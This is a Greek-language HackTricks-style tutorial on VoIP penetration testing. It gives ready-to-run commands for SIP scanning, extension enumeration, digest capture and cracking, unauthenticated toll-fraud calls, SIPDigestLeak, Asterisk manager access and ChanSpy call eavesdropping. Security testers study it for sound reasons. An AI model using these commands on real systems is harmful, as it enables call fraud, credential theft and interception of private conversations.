Pentesting VoIP

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες VoIP

Για να ξεκινήσετε να μάθετε πώς λειτουργεί το VoIP, ελέγξτε:

pageBasic VoIP Protocols

Απαρίθμηση VoIP

Τηλεφωνικοί Αριθμοί

Ένα από τα πρώτα βήματα που μπορεί να κάνει μια Ερυθρά Ομάδα είναι να αναζητήσει διαθέσιμους τηλεφωνικούς αριθμούς για να επικοινωνήσει με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping των ιστοσελίδων.

Αφού έχετε τους τηλεφωνικούς αριθμούς, μπορείτε να χρησιμοποιήσετε online υπηρεσίες για να αναγνωρίσετε τον πάροχο:

Γνωρίζοντας αν ο πάροχος παρέχει υπηρεσίες VoIP, μπορείτε να αναγνωρίσετε εάν η εταιρεία χρησιμοποιεί VoIP... Επιπλέον, είναι δυνατόν η εταιρεία να μην έχει προσλάβει υπηρεσίες VoIP αλλά να χρησιμοποιεί κάρτες PSTN για να συνδέσει το δικό της VoIP PBX με το παραδοσιακό τηλεφωνικό δίκτυο.

Πράγματα όπως αυτόματες απαντήσεις με μουσική υποδηλώνουν συνήθως ότι χρησιμοποιείται VoIP.

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Πληροφορίες OSINT

Οποιαδήποτε άλλη αναζήτηση OSINT που βοηθά στον εντοπισμό του λογισμικού VoIP που χρησιμοποιείται θα είναι χρήσιμη για μια Ομάδα Επίθεσης (Red Team).

Απαρίθμηση Δικτύου

  • Το nmap είναι ικανό να σαρώσει υπηρεσίες UDP, αλλά λόγω του αριθμού των υπηρεσιών UDP που σαρώνονται, είναι πολύ αργό και μπορεί να μην είναι πολύ ακριβές με αυτού του είδους τις υπηρεσίες.

  • Το svmap από το SIPVicious (sudo apt install sipvicious): Θα εντοπίσει τις υπηρεσίες SIP στο καθορισμένο δίκτυο.

  • Το svmap είναι εύκολο να αποκλειστεί επειδή χρησιμοποιεί το User-Agent friendly-scanner, αλλά μπορείτε να τροποποιήσετε τον κώδικα από το /usr/share/sipvicious/sipvicious και να τον αλλάξετε.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py από το sippts: Το Sipscan είναι ένα πολύ γρήγορο εργαλείο σάρωσης για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολυνηματικότητα και μπορεί να σαρώσει μεγάλους εύρους δικτύων. Επιτρέπει εύκολα την καθορισμό εύρους θυρών, τη σάρωση και των δύο TCP & UDP, τη χρήση ενός άλλου μεθόδου (από προεπιλογή θα χρησιμοποιήσει το OPTIONS) και την καθορισμό ενός διαφορετικού User-Agent (και άλλα).

./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

Το metasploit είναι ένα εργαλείο ανοικτού κώδικα που χρησιμοποιείται για την εκτέλεση επιθέσεων και την αξιοποίηση ευπαθειών σε συστήματα. Παρέχει ένα ευέλικτο περιβάλλον για την ανάπτυξη, τη δοκιμή και την εκτέλεση επιθέσεων ασφαλείας. Το metasploit χρησιμοποιείται ευρέως από επαγγελματίες ασφάλειας και χάκερ για την εξερεύνηση και την εκμετάλλευση ευπαθειών σε συστήματα.

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Επιπλέον Απαρίθμηση Δικτύου

Το PBX μπορεί επίσης να αποκαλύπτει άλλες υπηρεσίες δικτύου, όπως:

  • 69/UDP (TFTP): Ενημερώσεις firmware

  • 80 (HTTP) / 443 (HTTPS): Διαχείριση της συσκευής από τον ιστό

  • 389 (LDAP): Εναλλακτική αποθήκευσης πληροφοριών χρηστών

  • 3306 (MySQL): Βάση δεδομένων MySQL

  • 5038 (Manager): Επιτρέπει τη χρήση του Asterisk από άλλες πλατφόρμες

  • 5222 (XMPP): Μηνύματα χρησιμοποιώντας το Jabber

  • 5432 (PostgreSQL): Βάση δεδομένων PostgreSQL

  • Και άλλα...

Απαρίθμηση Μεθόδων

Είναι δυνατό να βρεθούν ποιες μέθοδοι είναι διαθέσιμες για χρήση στο PBX χρησιμοποιώντας το sipenumerate.py από το sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Απαρίθμηση Επεκτάσεων

Οι επεκτάσεις σε ένα σύστημα PBX (Private Branch Exchange) αναφέρονται στους μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που ανατίθενται σε κάθε τηλεφωνική γραμμή, συσκευή ή χρήστη εντός μιας οργάνωσης ή επιχείρησης. Οι επεκτάσεις καθιστούν δυνατή την αποδοτική δρομολόγηση κλήσεων εντός της οργάνωσης, χωρίς την ανάγκη για ξεχωριστούς εξωτερικούς αριθμούς τηλεφώνου για κάθε χρήστη ή συσκευή.

  • svwar από το SIPVicious (sudo apt install sipvicious): Το svwar είναι ένα δωρεάν εργαλείο σάρωσης γραμμής επέκτασης SIP PBX. Στην ουσία, λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, μαντεύοντας ένα εύρος επεκτάσεων ή μια δεδομένη λίστα επεκτάσεων.

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py από το sippts: Το Sipexten αναγνωρίζει επεκτάσεις σε έναν διακομιστή SIP. Το Sipexten μπορεί να ελέγξει μεγάλους δικτυακούς και περιοχές θυρών.

python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Μπορείτε επίσης να απαριθμήσετε τις επεκτάσεις/ονόματα χρηστών με το metasploit:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX είναι ένα εργαλείο απαρίθμησης για το πρωτόκολλο Inter Asterisk Exchange (IAX) που χρησιμοποιείται για την επίθεση brute-force στα ονόματα χρηστών. Το enumIAX μπορεί να λειτουργήσει σε δύο διαφορετικούς τρόπους: Σειριακή Εύρεση Ονομάτων Χρηστών ή Επίθεση με Λεξικό.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Επιθέσεις VoIP

Επίθεση με Βίαιη Δοκιμή Κωδικού

Αφού ανακαλύψει το PBX και μερικά extensions/usernames, μια Ομάδα Ερυθρού Συναγερμού μπορεί να προσπαθήσει να πιστοποιηθεί μέσω της μεθόδου REGISTER σε ένα extension χρησιμοποιώντας ένα λεξικό με κοινούς κωδικούς πρόσβασης για να εκτελέσει βίαιη δοκιμή κωδικού πρόσβασης.

Σημειώστε ότι ένα username μπορεί να είναι το ίδιο με το extension, αλλά αυτή η πρακτική μπορεί να διαφέρει ανάλογα με το σύστημα PBX, τη διαμόρφωσή του και τις προτιμήσεις του οργανισμού...

Αν το όνομα χρήστη δεν είναι το ίδιο με το extension, θα πρέπει να ανακαλύψετε το όνομα χρήστη για να εκτελέσετε βίαιη δοκιμή κωδικού πρόσβασης.

  • svcrack από το SIPVicious (sudo apt install sipvicious): Το SVCrack σας επιτρέπει να αποκρυπτογραφήσετε τον κωδικό πρόσβασης για ένα συγκεκριμένο όνομα χρήστη/extension σε ένα PBX.

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py από το sippts: Το SIP Digest Crack είναι ένα εργαλείο για να σπάσει τις αυθεντικοποιήσεις digest μέσα στο πρωτόκολλο SIP.

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

Καταγραφή VoIP

Εάν βρείτε εξοπλισμό VoIP μέσα σε ένα ανοιχτό δίκτυο Wifi, μπορείτε να καταγράψετε όλες τις πληροφορίες. Επιπλέον, εάν βρίσκεστε μέσα σε ένα πιο κλειστό δίκτυο (συνδεδεμένοι μέσω Ethernet ή προστατευμένου Wifi) μπορείτε να πραγματοποιήσετε επιθέσεις MitM όπως ARPspoofing μεταξύ του PBX και της πύλης για να καταγράψετε τις πληροφορίες.

Ανάμεσα στις πληροφορίες του δικτύου, μπορείτε να βρείτε διαπιστευτήρια ιστοσελίδας για τη διαχείριση του εξοπλισμού, επεκτάσεις χρηστών, όνομα χρήστη, διευθύνσεις IP, ακόμα και κατακερματισμένους κωδικούς πρόσβασης και πακέτα RTP που μπορείτε να αναπαράγετε για να ακούσετε τη συνομιλία, και άλλα.

Για να λάβετε αυτές τις πληροφορίες, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Wireshark, το tcpdump... αλλά ένα ειδικά δημιουργημένο εργαλείο για την καταγραφή VoIP συνομιλιών είναι το ucsniff.

Σημειώστε ότι εάν χρησιμοποιείται TLS στην επικοινωνία SIP, δεν θα μπορείτε να δείτε την επικοινωνία SIP σε καθαρή μορφή. Το ίδιο θα συμβεί εάν χρησιμοποιείται SRTP και ZRTP, τα πακέτα RTP δεν θα είναι σε καθαρό κείμενο.

Διαπιστευτήρια SIP

Ελέγξτε αυτό το παράδειγμα για να κατανοήσετε καλύτερα μια επικοινωνία SIP REGISTER για να μάθετε πώς αποστέλλονται τα διαπιστευτήρια.

  • sipdump & sipcrack, μέρος του sipcrack (apt-get install sipcrack): Αυτά τα εργαλεία μπορούν να εξάγουν από ένα pcap τις διαπιστευτήριες πιστοποίησης μέσα στο πρωτόκολλο SIP και να τις δοκιμάσουν με βία.

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py από το sippts:

  • Το SipTshark εξάγει δεδομένα του πρωτοκόλλου SIP από ένα αρχείο PCAP.

  • Το SipDump εξάγει τις πιστοποιήσεις SIP Digest από ένα αρχείο PCAP.

  • Το SIP Digest Crack είναι ένα εργαλείο για την αποκρυπτογράφηση των πιστοποιήσεων Digest εντός του πρωτοκόλλου SIP.

python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Κωδικοί DTMF

Δεν μόνο διαπιστώνονται διαπιστευτήρια SIP στην κίνηση του δικτύου, αλλά είναι επίσης δυνατό να βρεθούν κωδικοί DTMF που χρησιμοποιούνται για παράδειγμα για να αποκτηθεί πρόσβαση στο ταχυδρομείο φωνητικού ταχυδρομείου. Είναι δυνατό να αποσταλούν αυτοί οι κωδικοί σε μηνύματα INFO SIP, σε ήχο ή μέσα σε πακέτα RTP. Εάν οι κωδικοί βρίσκονται μέσα σε πακέτα RTP, μπορείτε να αποκόψετε αυτό το μέρος της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε:

multimon -a DTMF -t wac pin.wav

Ελεύθερες κλήσεις / Εσφαλμένες ρυθμίσεις συνδέσεων Asterisks

Στο Asterisk είναι δυνατόν να επιτραπεί μια σύνδεση από μια συγκεκριμένη διεύθυνση IP ή από οποιαδήποτε διεύθυνση IP:

host=10.10.10.10
host=dynamic

Εάν καθοριστεί μια διεύθυνση IP, ο οικοδεσπότης δεν θα χρειαστεί να στέλνει αιτήματα REGISTER κάθε τόσο καιρό (στο πακέτο REGISTER αποστέλλεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα χρειαστεί να κάνει REGISTER κάθε 30 λεπτά). Ωστόσο, θα πρέπει να έχει ανοιχτές θύρες που επιτρέπουν συνδέσεις από τον διακομιστή VoIP για να δέχεται κλήσεις.

Για να καθοριστούν οι χρήστες, μπορούν να καθοριστούν ως εξής:

  • type=user: Ο χρήστης μπορεί μόνο να λαμβάνει κλήσεις ως χρήστης.

  • type=friend: Είναι δυνατή η πραγματοποίηση κλήσεων ως ομότιμος και η λήψη τους ως χρήστης (χρησιμοποιείται με επεκτάσεις)

  • type=peer: Είναι δυνατή η αποστολή και η λήψη κλήσεων ως ομότιμος (SIP-trunks)

Είναι επίσης δυνατή η εγκαθίδρυση εμπιστοσύνης με τη μη ασφαλή μεταβλητή:

  • insecure=port: Επιτρέπει επικοινωνία μεταξύ ομοτίμων που επικυρώνεται από τη διεύθυνση IP.

  • insecure=invite: Δεν απαιτείται πιστοποίηση για τα μηνύματα INVITE

  • insecure=port,invite: Και τα δύο

Όταν χρησιμοποιείται type=friend, η τιμή της μεταβλητής host δεν θα χρησιμοποιηθεί, οπότε αν ένας διαχειριστής διαμορφώσει λανθασμένα ένα SIP-trunk χρησιμοποιώντας αυτήν την τιμή, οποιοσδήποτε θα μπορεί να συνδεθεί σε αυτό.

Για παράδειγμα, αυτή η διαμόρφωση θα είναι ευάλωτη: host=10.10.10.10 insecure=port,invite type=friend

Δωρεάν κλήσεις / Εσφαλμένες διαμορφώσεις περιβάλλοντος Asterisks

Στο Asterisk, ένα περιβάλλον είναι ένα ονομασμένο δοχείο ή τμήμα στο σχέδιο κλήσης που συγκεντρώνει σχετικές επεκτάσεις, ενέργειες και κανόνες. Το σχέδιο κλήσης είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς καθορίζει πώς χειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις. Τα περιβάλλοντα χρησιμοποιούνται για την οργάνωση του σχεδίου κλήσης, τη διαχείριση του ελέγχου πρόσβασης και την παροχή διαχωρισμού μεταξύ διαφορετικών μερών του συστήματος.

Κάθε περιβάλλον καθορίζεται στο αρχείο διαμόρφωσης, συνήθως στο αρχείο extensions.conf. Τα περιβάλλοντα δηλώνονται με αγκύλες, με το όνομα του περιβάλλοντος που περικλείεται μέσα σε αυτές. Για παράδειγμα:

csharpCopy code[my_context]

Μέσα στο πλαίσιο, ορίζετε επεκτάσεις (μοτίβα κλήσης αριθμών) και τις συσχετίζετε με μια σειρά από ενέργειες ή εφαρμογές. Αυτές οι ενέργειες καθορίζουν πώς θα επεξεργαστείτε την κλήση. Για παράδειγμα:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Αυτό το παράδειγμα δείχνει ένα απλό περιβάλλον που ονομάζεται "my_context" με ένα εσωτερικό "100". Όταν κάποιος καλεί το 100, η κλήση θα απαντηθεί, θα ακουστεί ένα μήνυμα καλωσορίσματος και στη συνέχεια η κλήση θα τερματιστεί.

Αυτός είναι ένας άλλος περιβάλλον που επιτρέπει να καλείτε οποιονδήποτε άλλο αριθμό:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Εάν ο διαχειριστής ορίσει το προεπιλεγμένο περιβάλλον ως:

[default]
include => my_context
include => external

Οποιοσδήποτε θα μπορεί να χρησιμοποιήσει τον διακομιστή για να καλέσει οποιονδήποτε άλλο αριθμό (και ο διαχειριστής του διακομιστή θα πληρώσει για την κλήση).

Επιπλέον, από προεπιλογή το αρχείο sip.conf περιέχει την επιλογή allowguest=true, οπότε οποιοσδήποτε επιτιθέμενος χωρίς πιστοποίηση θα μπορεί να καλέσει οποιονδήποτε άλλο αριθμό.

  • sipinvite.py από το sippts: Το Sipinvite ελέγχει αν ένας διακομιστής PBX μας επιτρέπει να κάνουμε κλήσεις χωρίς πιστοποίηση. Αν ο διακομιστής SIP έχει μια εσφαλμένη διαμόρφωση, θα μας επιτρέψει να κάνουμε κλήσεις σε εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό.

Για παράδειγμα, αν ο διακομιστής Asterisk σας έχει μια κακή διαμόρφωση περιβάλλοντος, μπορείτε να αποδεχθείτε αίτηση INVITE χωρίς πιστοποίηση. Σε αυτήν την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κάποιο όνομα χρήστη/κωδικό πρόσβασης.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

Δωρεάν κλήσεις / Εσφαλμένη ρύθμιση IVRS

Το IVRS αναφέρεται στο Διαδραστικό Σύστημα Ανταπόκρισης Φωνής, μια τηλεφωνική τεχνολογία που επιτρέπει στους χρήστες να αλληλεπιδρούν με έναν υπολογιστή μέσω φωνητικών ή αφής εισόδων. Το IVRS χρησιμοποιείται για τη δημιουργία συστημάτων αυτοματοποιημένης χειρισμού κλήσεων που προσφέρουν μια σειρά λειτουργιών, όπως παροχή πληροφοριών, δρομολόγηση κλήσεων και καταγραφή εισόδου χρήστη.

Το IVRS στα συστήματα VoIP αποτελείται συνήθως από:

  1. Φωνητικές οδηγίες: Προ-εγγεγραμμένα ηχητικά μηνύματα που καθοδηγούν τους χρήστες μέσω των επιλογών και οδηγιών του μενού IVR.

  2. DTMF (Dual-Tone Multi-Frequency) σήμανση: Εισόδοι αφής που παράγονται πατώντας πλήκτρα στο τηλέφωνο, τα οποία χρησιμοποιούνται για την πλοήγηση μέσω των μενού IVR και την παροχή εισόδου.

  3. Δρομολόγηση κλήσεων: Κατεύθυνση κλήσεων προς τον κατάλληλο προορισμό, όπως συγκεκριμένα τμήματα, πράκτορες ή επεκτάσεις βάσει της εισόδου του χρήστη.

  4. Καταγραφή εισόδου χρήστη: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμοί λογαριασμού, αναγνωριστικά περιστατικού ή οποιαδήποτε άλλα σχετικά δεδομένα.

  5. Ενσωμάτωση με εξωτερικά συστήματα: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για πρόσβαση ή ενημέρωση πληροφοριών, εκτέλεση ενεργειών ή ενεργοποίηση συμβάντων.

Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσης (αρχείο extensions.conf) και διάφορες εφαρμογές, όπως Background(), Playback(), Read() και άλλες. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές οδηγίες, να καταγράφετε την είσοδο του χρήστη και να ελέγχετε τη ροή της κλήσης.

Παράδειγμα ευπαθούς ρύθμισης

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Το προηγούμενο είναι ένα παράδειγμα όπου ζητείται από τον χρήστη να πατήσει 1 για να καλέσει ένα τμήμα, 2 για να καλέσει ένα άλλο, ή την πλήρη επέκταση αν την γνωρίζει. Η ευπάθεια είναι το γεγονός ότι ο έλεγχος του μήκους της επέκτασης δεν γίνεται, οπότε ένας χρήστης μπορεί να εισάγει έναν πλήρη αριθμό και θα γίνει η κλήση.

Εισχώρηση Επέκτασης

Χρησιμοποιώντας μια επέκταση όπως:

exten => _X.,1,Dial(SIP/${EXTEN})

Όπου ${EXTEN} είναι η επέκταση που θα κληθεί, όταν εισαχθεί η ext 101, αυτό είναι το που θα συμβεί:

exten => 101,1,Dial(SIP/101)

Ωστόσο, εάν το ${EXTEN} επιτρέπει την εισαγωγή περισσότερων από αριθμούς (όπως σε παλαιότερες εκδόσεις του Asterisk), ένας επιτιθέμενος μπορεί να εισαγάγει 101&SIP123123123 για να καλέσει τον αριθμό τηλεφώνου 123123123. Και αυτό θα ήταν το αποτέλεσμα:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Συνεπώς, ένα κλήση στην επέκταση 101 και 123123123 θα αποσταλεί και μόνο η πρώτη που θα λάβει την κλήση θα εγκαθιδρυθεί... αλλά αν ένας επιτιθέμενος χρησιμοποιήσει μια επέκταση που παρακάμπτει οποιαδήποτε αντιστοιχία που πραγματοποιείται αλλά δεν υπάρχει, μπορεί να εισχωρήσει μια κλήση μόνο στον επιθυμητό αριθμό.

SIPDigestLeak

Η διαρροή του SIP Digest είναι μια ευπάθεια που επηρεάζει ένα μεγάλο αριθμό των SIP τηλεφώνων, συμπεριλαμβανομένων τόσο των υλικού όσο και των λογισμικού IP τηλεφώνων, καθώς και των προσαρμογέων τηλεφώνου (VoIP σε αναλογικό). Η ευπάθεια επιτρέπει την διαρροή της απόκρισης ταυτοποίησης Digest, η οποία υπολογίζεται από τον κωδικό πρόσβασης. Έπειτα, είναι δυνατή μια επίθεση εκτός σύνδεσης στον κωδικό πρόσβασης και μπορεί να ανακτήσει τους περισσότερους κωδικούς πρόσβασης με βάση την απόκριση πρόκλησης.

**Σενάριο ευπάθειας από εδώ**:

  1. Ένα IP τηλέφωνο (θύμα) ακούει στη θύρα 5060 και δέχεται τηλεφωνήματα

  2. Ο επιτιθέμενος στέλνει ένα INVITE στο IP τηλέφωνο

  3. Το τηλέφωνο του θύματος αρχίζει να χτυπάει και κάποιος το σηκώνει και το κατεβάζει (επειδή κανείς δεν απαντά στο άλλο άκρο τηλεφώνου)

  4. Όταν το τηλέφωνο κατεβαίνει, το τηλέφωνο του θύματος στέλνει ένα BYE στον επιτιθέμενο

  5. Ο επιτιθέμενος εκδίδει μια απάντηση 407 που ζητάει ταυτοποίηση και εκδίδει μια πρόκληση ταυτοποίησης

  6. Το τηλέφωνο του θύματος παρέχει μια απάντηση στην πρόκληση ταυτοποίησης σε ένα δεύτερο BYE

  7. Ο επιτιθέμενος μπορεί στη συνέχεια να εκτελέσει μια επίθεση με βία στην απάντηση πρόκλησης στον τοπικό του υπολογιστή (ή κατανεμημένο δίκτυο κλπ) και να μαντέψει τον κωδικό πρόσβασης

  • sipdigestleak.py από sippts: Το SipDigestLeak εκμεταλλεύεται αυτήν την ευπάθεια.

python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Το Click2Call επιτρέπει σε έναν χρήστη του ιστοχώρου (που για παράδειγμα μπορεί να ενδιαφέρεται για ένα προϊόν) να εισάγει τον αριθμό τηλεφώνου του για να του κληθεί. Έπειτα, θα γίνει ένα τηλεφώνημα σε έναν εμπορικό σύμβουλο, και όταν ο χρήστης απαντήσει στο τηλέφωνο, ο χρήστης θα κληθεί και θα συνδεθεί με τον πράκτορα.

Ένα κοινό προφίλ Asterisk για αυτό είναι:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Το προηγούμενο προφίλ επιτρέπει σε ΟΠΟΙΑΔΗΠΟΤΕ διεύθυνση IP να συνδεθεί (αν γνωρίζει τον κωδικό πρόσβασης).

  • Για να οργανώσετε μια κλήση, όπως προαναφέρθηκε, δεν απαιτούνται δικαιώματα ανάγνωσης και απαιτείται μόνο η δυνατότητα προέλευσης σε εγγραφή.

Με αυτά τα δικαιώματα, οποιαδήποτε διεύθυνση IP που γνωρίζει τον κωδικό πρόσβασης μπορεί να συνδεθεί και να ανακτήσει πολλές πληροφορίες, όπως:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Περισσότερες πληροφορίες ή ενέργειες μπορεί να ζητηθούν.

Ακρόαση

Στο Asterisk είναι δυνατό να χρησιμοποιηθεί η εντολή ChanSpy δηλώνοντας τις επεκτάσεις προς παρακολούθηση (ή όλες τις επεκτάσεις) για να ακούσετε συνομιλίες που γίνονται. Αυτή η εντολή πρέπει να αντιστοιχιστεί σε μια επέκταση.

Για παράδειγμα, η εντολή exten => 333,1,ChanSpy('all',qb) υποδηλώνει ότι αν καλέσετε την επέκταση 333, θα παρακολουθεί όλες τις επεκτάσεις, θα αρχίσει να ακούει όποτε ξεκινά μια νέα συνομιλία (b) σε ήσυχη λειτουργία (q) καθώς δεν θέλουμε να αλληλεπιδράσουμε με αυτήν. Μπορείτε να πηγαίνετε από μια συνομιλία που συμβαίνει σε μια άλλη πατώντας το *, ή σημειώνοντας τον αριθμό της επέκτασης.

Είναι επίσης δυνατό να χρησιμοποιηθεί η εντολή ExtenSpy για να παρακολουθήσετε μόνο μια επέκταση.

Αντί να ακούτε τις συνομιλίες, είναι δυνατό να τις καταγράψετε σε αρχεία χρησιμοποιώντας μια επέκταση όπως:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Οι κλήσεις θα αποθηκεύονται στο /tmp.

Μπορείτε ακόμα να κάνετε τον Asterisk να εκτελέσει ένα σενάριο που θα διαρρεύσει την κλήση όταν κλείνει.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed είναι ένα σημαντικό θέμα ασφάλειας που επηρεάζει τους διακομιστές VoIP βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στην κυκλοφορία RTP (Real Time Protocol), η οποία μεταφέρει τις συνομιλίες VoIP, να παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο. Αυτό συμβαίνει επειδή η κυκλοφορία RTP παρακάμπτει την πιστοποίηση κατά τη διάρκεια της πλοήγησης μέσω των τείχων προστασίας NAT (Network Address Translation).

Οι διαμεσολαβητές RTP προσπαθούν να αντιμετωπίσουν τους περιορισμούς NAT που επηρεάζουν τα συστήματα RTC με τη διαμεσολάβηση των ροών RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό διαμεσολάβησης RTP συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω της σήμανσης (π.χ. SIP). Επομένως, αρκετοί διαμεσολαβητές RTP έχουν εφαρμόσει έναν μηχανισμό όπου αυτό το ζεύγος IP και θύρας μαθαίνεται αυτόματα. Αυτό συνήθως γίνεται επιθεωρώντας την εισερχόμενη κυκλοφορία RTP και σημειώνοντας την IP προέλευσης και τη θύρα για οποιαδήποτε εισερχόμενη κυκλοφορία RTP πρέπει να απαντηθεί. Αυτός ο μηχανισμός, που μπορεί να ονομαστεί "μετάβαση σε κατάσταση μάθησης", δεν χρησιμοποιεί καμία μορφή πιστοποίησης. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν κυκλοφορία RTP στον διαμεσολαβητή RTP και να λάβουν την διαμεσολαβούμενη κυκλοφορία RTP που προορίζεται για τον καλούντα ή τον καλούμενο μιας εκκρεμούσας ροής RTP. Αυτή την ευπάθεια την ονομάζουμε RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές μέσων RTP που προορίζονται για νόμιμους χρήστες.

Ένα άλλο ενδιαφέρον συμπεριφοράς των διαμεσολαβητών RTP και των στοίβων RTP είναι ότι μερικές φορές, ακόμα κι αν δεν είναι ευάλωτοι στο RTP Bleed, θα αποδεχθούν, θα προωθήσουν και/ή θα επεξεργαστούν πακέτα RTP από οποιαδήποτε πηγή. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν πακέτα RTP που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί των νόμιμων. Αυτή την επίθεση την ονομάζουμε RTP injection επειδή επιτρέπει την εισαγωγή παράνομων πακέτων RTP σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε διαμεσολαβητές RTP όσο και σε σημεία άφιξης.

